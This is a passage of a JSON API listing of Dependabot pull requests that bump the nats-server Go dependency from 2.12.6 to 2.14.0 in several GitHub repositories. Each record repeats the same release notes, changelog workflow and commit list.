href=\"https://redirect.github.com/nats-io/nats-server/issues/7937\"\u003e#7937\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNew \u003ccode\u003eignore_discovered_servers\u003c/code\u003e option for leafnode remotes to allow ignoring any leafnode URLs sent by the hub (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8067\"\u003e#8067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/blob/main/RELEASES.md\"\u003egithub.com/nats-io/nats-server/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eRelease Workflow\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eAs of NATS 2.11, the server follows a 6-month release cycle. 2.11 was released in March 2025.\u003c/li\u003e\n\u003cli\u003eVersion tagging follows semantic versioning with security fixes clearly marked.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emain\u003c/code\u003e branch is for active development of features and bug fixes. Release branches are created for preparing patch releases. Releases are tagged with semantic versions\u003c/li\u003e\n\u003cli\u003eThe current and previous minor series are supported in terms of bug fixes and security patches.\u003c/li\u003e\n\u003cli\u003eBinaries are released via \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003eGitHub Releases\u003c/a\u003e and Docker images are available as an \u003ca href=\"https://hub.docker.com/_/nats\"\u003eofficial image\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePreview releases for the next minor version, e.g. 2.14.0, become available once feature development is complete.\u003c/li\u003e\n\u003cli\u003eTagged releases as well as nightly Docker images of \u003ccode\u003emain\u003c/code\u003e (for testing) are available in the \u003ca href=\"https://hub.docker.com/r/synadia/nats-server/tags\"\u003esynadia/nats-server\u003c/a\u003e Docker repository.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0cbd01caf8f29011c26273ff7662addd3830396a\"\u003e\u003ccode\u003e0cbd01c\u003c/code\u003e\u003c/a\u003e Release v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5a8c9cd27146d62141e1b41926743b127834673b\"\u003e\u003ccode\u003e5a8c9cd\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8092\"\u003e#8092\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0f259ff55050639bcdac7843a08c6f214d7f9b7e\"\u003e\u003ccode\u003e0f259ff\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8091\"\u003e#8091\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/aed7baa210c787c33c6a04ddcf46190a424d9020\"\u003e\u003ccode\u003eaed7baa\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8088\"\u003e#8088\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efa4688835a689ede60fc80de916a83c7f499888\"\u003e\u003ccode\u003eefa4688\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8089\"\u003e#8089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e78bbf158e1563a6353c2c10c12cde055444e8ca\"\u003e\u003ccode\u003ee78bbf1\u003c/code\u003e\u003c/a\u003e Fix sign-offs check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/295d052da33e46f96f6034bc1b07c6b69fce262a\"\u003e\u003ccode\u003e295d052\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b8af43094676f55745fd7132078e93db1f6c9bf7\"\u003e\u003ccode\u003eb8af430\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efbc1d7b4fa594bb7e653af3b19fb41ed249d5cc\"\u003e\u003ccode\u003eefbc1d7\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9b2eb668231ef4d2faa52381748ce7921427aaee\"\u003e\u003ccode\u003e9b2eb66\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.6\u0026new-version=2.14.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/underpass-ai/underpass-runtime/pull/148","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/underpass-ai%2Funderpass-runtime/issues/148","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/148/packages"},{"uuid":"4373762125","node_id":"PR_kwDORx77dc7X3Pf0","number":54,"state":"open","title":"chore(deps): bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.14.0","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":4,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-04T02:59:14.000Z","updated_at":"2026-05-04T03:06:16.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.14.0","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.14.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFeature flags in the server configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7866\"\u003e#7866\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFast-ingest batch publishing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7778\"\u003e#7778\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7892\"\u003e#7892\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7894\"\u003e#7894\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7945\"\u003e#7945\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows high-speed publishing of message batches into the server when using a supported client\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eRepeating \u0026amp; cron-based message schedules (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7504\"\u003e#7504\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7687\"\u003e#7687\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7688\"\u003e#7688\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule\u003c/code\u003e header can now be configured on a repeating basis, i.e. \u003ccode\u003e@every 5m\u003c/code\u003e, \u003ccode\u003e@hourly\u003c/code\u003e or using crontab-like syntax\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject sampling (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7506\"\u003e#7506\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Source\u003c/code\u003e header allows sampling the contents of the last message in the stream for a given subject, allowing sampling of values at a different rate to the original publisher\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject rollups (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7559\"\u003e#7559\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Rollup\u003c/code\u003e header allows initiating a rollup of the \u003ccode\u003eNats-Schedule-Target\u003c/code\u003e subject on a scheduled basis\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eConsumer reset API (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7489\"\u003e#7489\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt is now possible to reset a consumer back to an earlier sequence number using the \u003ccode\u003e$JS.API.CONSUMER.RESET.stream.consumer\u003c/code\u003e API without deleting and recreating it\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDomain-aware ack and flow control subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7860\"\u003e#7860\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThis is disabled by default and can be enabled with the \u003ccode\u003ejs_ack_fc_v2\u003c/code\u003e feature flag, this will be enabled by default in v2.15\u003c/li\u003e\n\u003cli\u003eIn an environment where ACLs are used to control ack or flow control subjects, updates will be required to match the new \u003ccode\u003e$JS.ACK.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e and \u003ccode\u003e$JS.FC.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e subject formats\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAsynchronous stream state snapshots for replicated streams (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7876\"\u003e#7876\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows stream state snapshots to be taken and written without pausing stream processing, improving tail latencies\u003c/li\u003e\n\u003cli\u003eThis is particularly impactful in cases where the stream has a large number of interior deletes\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAbility to disable message deduplication when sourcing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7651\"\u003e#7651\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLeafnode remote configurations can now be added and removed at runtime by reloading the configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7937\"\u003e#7937\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNew \u003ccode\u003eignore_discovered_servers\u003c/code\u003e option for leafnode remotes to allow ignoring any leafnode URLs sent by the hub (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8067\"\u003e#8067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/blob/main/RELEASES.md\"\u003egithub.com/nats-io/nats-server/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eRelease Workflow\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eAs of NATS 2.11, the server follows a 6-month release cycle. 2.11 was released in March 2025.\u003c/li\u003e\n\u003cli\u003eVersion tagging follows semantic versioning with security fixes clearly marked.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emain\u003c/code\u003e branch is for active development of features and bug fixes. Release branches are created for preparing patch releases. Releases are tagged with semantic versions\u003c/li\u003e\n\u003cli\u003eThe current and previous minor series are supported in terms of bug fixes and security patches.\u003c/li\u003e\n\u003cli\u003eBinaries are released via \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003eGitHub Releases\u003c/a\u003e and Docker images are available as an \u003ca href=\"https://hub.docker.com/_/nats\"\u003eofficial image\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePreview releases for the next minor version, e.g. 2.14.0, become available once feature development is complete.\u003c/li\u003e\n\u003cli\u003eTagged releases as well as nightly Docker images of \u003ccode\u003emain\u003c/code\u003e (for testing) are available in the \u003ca href=\"https://hub.docker.com/r/synadia/nats-server/tags\"\u003esynadia/nats-server\u003c/a\u003e Docker repository.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0cbd01caf8f29011c26273ff7662addd3830396a\"\u003e\u003ccode\u003e0cbd01c\u003c/code\u003e\u003c/a\u003e Release v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5a8c9cd27146d62141e1b41926743b127834673b\"\u003e\u003ccode\u003e5a8c9cd\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8092\"\u003e#8092\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0f259ff55050639bcdac7843a08c6f214d7f9b7e\"\u003e\u003ccode\u003e0f259ff\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8091\"\u003e#8091\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/aed7baa210c787c33c6a04ddcf46190a424d9020\"\u003e\u003ccode\u003eaed7baa\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8088\"\u003e#8088\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efa4688835a689ede60fc80de916a83c7f499888\"\u003e\u003ccode\u003eefa4688\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8089\"\u003e#8089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e78bbf158e1563a6353c2c10c12cde055444e8ca\"\u003e\u003ccode\u003ee78bbf1\u003c/code\u003e\u003c/a\u003e Fix sign-offs check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/295d052da33e46f96f6034bc1b07c6b69fce262a\"\u003e\u003ccode\u003e295d052\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b8af43094676f55745fd7132078e93db1f6c9bf7\"\u003e\u003ccode\u003eb8af430\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efbc1d7b4fa594bb7e653af3b19fb41ed249d5cc\"\u003e\u003ccode\u003eefbc1d7\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9b2eb668231ef4d2faa52381748ce7921427aaee\"\u003e\u003ccode\u003e9b2eb66\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.6\u0026new-version=2.14.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/johanssonvincent/kraclaw/pull/54","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/johanssonvincent%2Fkraclaw/issues/54","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/54/packages"},{"uuid":"4373696894","node_id":"PR_kwDONpzmL87X3Ce2","number":3152,"state":"closed","title":"Bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.14.0","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-04T03:18:38.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-04T02:31:11.000Z","updated_at":"2026-05-04T03:18:40.000Z","time_to_close":2847,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.14.0","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.14.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFeature flags in the server configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7866\"\u003e#7866\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFast-ingest batch publishing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7778\"\u003e#7778\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7892\"\u003e#7892\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7894\"\u003e#7894\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7945\"\u003e#7945\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows high-speed publishing of message batches into the server when using a supported client\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eRepeating \u0026amp; cron-based message schedules (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7504\"\u003e#7504\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7687\"\u003e#7687\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7688\"\u003e#7688\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule\u003c/code\u003e header can now be configured on a repeating basis, i.e. \u003ccode\u003e@every 5m\u003c/code\u003e, \u003ccode\u003e@hourly\u003c/code\u003e or using crontab-like syntax\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject sampling (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7506\"\u003e#7506\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Source\u003c/code\u003e header allows sampling the contents of the last message in the stream for a given subject, allowing sampling of values at a different rate to the original publisher\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject rollups (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7559\"\u003e#7559\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Rollup\u003c/code\u003e header allows initiating a rollup of the \u003ccode\u003eNats-Schedule-Target\u003c/code\u003e subject on a scheduled basis\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eConsumer reset API (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7489\"\u003e#7489\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt is now possible to reset a consumer back to an earlier sequence number using the \u003ccode\u003e$JS.API.CONSUMER.RESET.stream.consumer\u003c/code\u003e API without deleting and recreating it\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDomain-aware ack and flow control subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7860\"\u003e#7860\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThis is disabled by default and can be enabled with the \u003ccode\u003ejs_ack_fc_v2\u003c/code\u003e feature flag, this will be enabled by default in v2.15\u003c/li\u003e\n\u003cli\u003eIn an environment where ACLs are used to control ack or flow control subjects, updates will be required to match the new \u003ccode\u003e$JS.ACK.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e and \u003ccode\u003e$JS.FC.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e subject formats\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAsynchronous stream state snapshots for replicated streams (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7876\"\u003e#7876\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows stream state snapshots to be taken and written without pausing stream processing, improving tail latencies\u003c/li\u003e\n\u003cli\u003eThis is particularly impactful in cases where the stream has a large number of interior 